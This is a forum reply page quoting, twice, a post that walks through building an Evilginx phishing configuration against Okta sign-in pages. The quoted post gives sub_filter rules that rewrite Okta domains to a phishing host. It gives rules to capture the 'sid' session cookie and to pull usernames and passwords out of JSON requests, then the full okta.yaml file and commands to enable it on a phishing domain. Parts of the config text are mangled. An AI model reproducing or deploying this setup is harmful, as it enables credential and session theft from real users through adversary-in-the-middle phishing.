Reply to thread

Message

<blockquote data-quote="Ghosthunter" data-source="post: 511" data-attributes="member: 6">After collecting this and a couple of other requests, we get the following settings::Code:sub_filters:&nbsp;- {triggers_on: &#039;&lt;target domain&gt;.okta.com&#039;, orig_sub: &#039;&lt;target domain&gt;&#039;, domain: &#039;okta.com&#039;, search: &#039;https://{hostname}/api&#039;, replace: &#039;https://{hostname}/api&#039;, mimes: [&#039;text/html&#039;, &#039;application/json&#039;]}&nbsp;- {triggers_on: &#039;login.okta.com&#039;, orig_sub: &#039;login&#039;, domain: &#039;okta.com&#039;, search: &#039;https://{hostname}/&#039;, replace: &#039;https://{hostname}/&#039;, mimes: [&#039;text/html&#039;, &#039;application/json&#039;]}&nbsp;- {triggers_on: &#039;&lt;target domain&gt;.okta.com&#039;, orig_sub: &quot;, domain: &#039;&lt;target domain&gt;.okta.com&#039;, search: &#039;https\x3A\x2F\x2F{hostname}&#039;, replace: &#039;httpsx3Ax2Fx2F{hostname}&#039;, mimes: [&#039;text / html&#039;, &#039;application/json&#039;, &#039;application/x-javascript&#039;, &#039;text/javascript&#039;]}&nbsp;- {triggers_on: &#039;&lt;target domain&gt;.okta.com&#039;, orig_sub: &quot;, domain: &#039;&lt;target domain&gt;.okta.com&#039;, search: &#039;\x2Fuser\x2Fnotifications&#039;, replace: &#039;httpsx3Ax2Fx2F &lt; target domain&gt;. okta.comx2Fuserx2Fnotifications&#039;, mimes: [&#039;text / html&#039;, &#039;application/json&#039;, &#039;application/x-javascript&#039;, &#039;text/javascript&#039;]}Key word{hostname}it is used to replace the original domain with a phishing one. Read more about the syntax of this section <a href="https://github.com/kgretzky/evilginx2/wiki/Phishlet-File-Format-(2.2.0)#sub_filters" target="_blank">here</a>.Remember, we need cookies that we will use to log in to the site. Through trial and error, we find out the cookie name —sid, and add it to the settings:Code:auth_tokens:&nbsp;- domain: &#039;&lt; target domain&gt;.okta.com&#039;&nbsp;keys: [&#039;sid&#039;]We will also need the user&#039;s username and password.We have already found the request in which they are transmitted. As you can see in the request, the parameters we need areusernameand passwordpassed in json, appending it:Code:credentials:&nbsp;username:&nbsp;key: &#039;username&#039;&nbsp;search: &#039;&quot;username&quot;:&quot;([^&quot;]*)&#039;&nbsp;type: &#039;json&#039;&nbsp;password:&nbsp;key: &#039;password&#039;&nbsp;search: &#039;&quot;password&quot;:&quot;([^&quot;]*)&#039;&nbsp;type: &#039;json&#039;This way, Evilginx can isolate them from requests and save them correctly.There&#039;s not much left. Specify the URL of the login page on the target domain.Code:landing_path:&nbsp;- &#039;/login/login.htm&#039;Specify the URL that we will use to indicate that the user has successfully logged in.Code:auth_urls:&nbsp;- &#039;app/UserHome&#039;That&#039;s all! The entire config:Code:name: &#039;okta&#039;author: &#039;@*******, updated by @*******&#039;min_ver: &#039;2.2.0&#039;proxy_hosts:&nbsp;- {phish_sub:&quot;, orig_sub: &#039;&lt;target company name subdomain&gt;&quot;, domain: &#039;okta.com&#039;, session: true, is_landing: true}sub_filters:sub_filters:&nbsp;- {triggers_on: &#039;&lt;target domain&gt;.okta.com&#039;, orig_sub: &#039;&lt;target domain&gt;&#039;, domain: &#039;okta.com&#039;, search: &#039;https://{hostname}/api&#039;, replace: &#039;https://{hostname}/api&#039;, mimes: [&#039;text/html&#039;, &#039;application/json&#039;]}&nbsp;- {triggers_on: &#039;login.okta.com&#039;, orig_sub: &#039;login&#039;, domain: &#039;okta.com&#039;, search: &#039;https://{hostname}/&#039;, replace: &#039;https://{hostname}/&#039;, mimes: [&#039;text/html&#039;, &#039;application/json&#039;]}&nbsp;- {triggers_on: &#039;&lt;target domain&gt;.okta.com&#039;, orig_sub: &quot;, domain: &#039;&lt;target domain&gt;.okta.com&#039;, search: &#039;https\x3A\x2F\x2F{hostname}&#039;, replace: &#039;httpsx3Ax2Fx2F{hostname}&#039;, mimes: [&#039;text / html&#039;, &#039;application/json&#039;, &#039;application/x-javascript&#039;, &#039;text/javascript&#039;]}&nbsp;- {triggers_on: &#039;&lt;target domain&gt;.okta.com&#039;, orig_sub: &quot;, domain: &#039;&lt;target domain&gt;.okta.com&#039;, search: &#039;\x2Fuser\x2Fnotifications&#039;, replace: &#039;httpsx3Ax2Fx2F &lt; target domain&gt;. okta.comx2Fuserx2Fnotifications&#039;, mimes: [&#039;text / html&#039;, &#039;application/json&#039;, &#039;application/x-javascript&#039;, &#039;text/javascript&#039;]}Save it as okta.yamlCode:in/usr/share/evilginx/phishlets<h4>Step four-enable our new phishing feature</h4>Run evilginx and write the commandCode:phishlets hostname okta okta.&lt;our phishing domain&gt;. comEnabling phishlet.Code:phishlets enable oktaA certificate from LetsEncrypt is automatically created for it.</blockquote>

[QUOTE="Ghosthunter, post: 511, member: 6"] After collecting this and a couple of other requests, we get the following settings:: Code: sub_filters: - {triggers_on: '<target domain>.okta.com', orig_sub: '<target domain>', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '<target domain>.okta.com', orig_sub: ", domain: '<target domain>.okta.com', search: 'https\x3A\x2F\x2F{hostname}', replace: 'httpsx3Ax2Fx2F{hostname}', mimes: ['text / html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '<target domain>.okta.com', orig_sub: ", domain: '<target domain>.okta.com', search: '\x2Fuser\x2Fnotifications', replace: 'httpsx3Ax2Fx2F < target domain>. okta.comx2Fuserx2Fnotifications', mimes: ['text / html', 'application/json', 'application/x-javascript', 'text/javascript']} Key word{hostname} it is used to replace the original domain with a phishing one. Read more about the syntax of this section [URL='https://github.com/kgretzky/evilginx2/wiki/Phishlet-File-Format-(2.2.0)#sub_filters']here[/URL]. Remember, we need cookies that we will use to log in to the site. Through trial and error, we find out the cookie name —sid , and add it to the settings: Code: auth_tokens: - domain: '< target domain>.okta.com' keys: ['sid'] We will also need the user's username and password.We have already found the request in which they are transmitted. As you can see in the request, the parameters we need areusername and password passed in json, appending it: Code: credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' This way, Evilginx can isolate them from requests and save them correctly. There's not much left. Specify the URL of the login page on the target domain. Code: landing_path: - '/login/login.htm' Specify the URL that we will use to indicate that the user has successfully logged in. Code: auth_urls: - 'app/UserHome' That's all! The entire config: Code: name: 'okta' author: '@*******, updated by @*******' min_ver: '2.2.0' proxy_hosts: - {phish_sub:", orig_sub: '<target company name subdomain>", domain: 'okta.com', session: true, is_landing: true} sub_filters: sub_filters: - {triggers_on: '<target domain>.okta.com', orig_sub: '<target domain>', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '<target domain>.okta.com', orig_sub: ", domain: '<target domain>.okta.com', search: 'https\x3A\x2F\x2F{hostname}', replace: 'httpsx3Ax2Fx2F{hostname}', mimes: ['text / html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '<target domain>.okta.com', orig_sub: ", domain: '<target domain>.okta.com', search: '\x2Fuser\x2Fnotifications', replace: 'httpsx3Ax2Fx2F < target domain>. okta.comx2Fuserx2Fnotifications', mimes: ['text / html', 'application/json', 'application/x-javascript', 'text/javascript']} Save it as okta.yaml Code: in/usr/share/evilginx/phishlets [HEADING=3]Step four-enable our new phishing feature[/HEADING] Run evilginx and write the command Code: phishlets hostname okta okta.<our phishing domain>. com Enabling phishlet. Code: phishlets enable okta A certificate from LetsEncrypt is automatically created for it. [/QUOTE]

Name

Verification